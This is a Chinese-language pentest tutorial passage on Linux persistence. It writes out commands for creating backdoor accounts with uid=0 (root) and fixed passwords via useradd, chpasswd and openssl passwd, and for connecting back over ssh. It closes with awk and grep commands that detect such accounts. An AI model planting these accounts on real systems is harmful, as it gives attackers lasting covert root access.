在渗透过程中拿到目标权限只是开始,通常会留下后门以便再次访问(简称APT)。所以需要进行权限维持,隐藏后门。常见的Linux后门有cron后门、ssh后门、vim后门、隐藏文件、添加超级用户、alias后门等等,本文将对Linux下常见的权限维持后门技术进行解析。
添加用户
添加uid=0的用户
- 创建用户,并修改/etc/passwd文件
useradd tide;echo 'tide:123456' | chpasswd # 创建用户tide并修改密码为123456
vi /etc/passwd # 修改passwd文件,将tide用户的uid改为0
改动前:
改动后:
攻击端:
ssh tide@被控端ip -p 端口
- 使用useradd -p方法,通过 ` ` 存放可执行的系统命令添加uid=0的用户;
useradd -p `openssl passwd -1 -salt 'salt' 123456` chiyu -o -u 0 -g root -G root -s /bin/bash -d /home/chiyu
添加普通用户
- useradd -p `openssl passwd -1 -salt 'salt' 123456` chiyu
#使用useradd -p方法,通过 ` ` 存放可执行的系统命令;
#创建一个用户名为chiyu,密码为123456的普通用户;
攻击端使用chiyu连接(以下就不一一示范了)
- useradd -p "$(openssl passwd -1 123456)" chiyu
#使用useradd -p方法,通过 "$()" 存放可执行的系统命令添加用户;
- useradd chiyu;echo 'chiyu:123456'|chpasswd
#chpasswd方法添加用户;
- useradd chiyu;echo -e "123456\n123456\n" |passwd chiyu
#echo -e方法添加用户;
检测:
awk -F: '$3==0{print $1}' /etc/passwd
# 查询特权用户(uid=0的用户)
awk '/\$1|\$6/{print $1}' /etc/shadow
# 查询可以远程登录的账户信息
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 查询除root账户外,其他存在sudo权限的账户(如非管理需要,普通账号应删除sudo权限)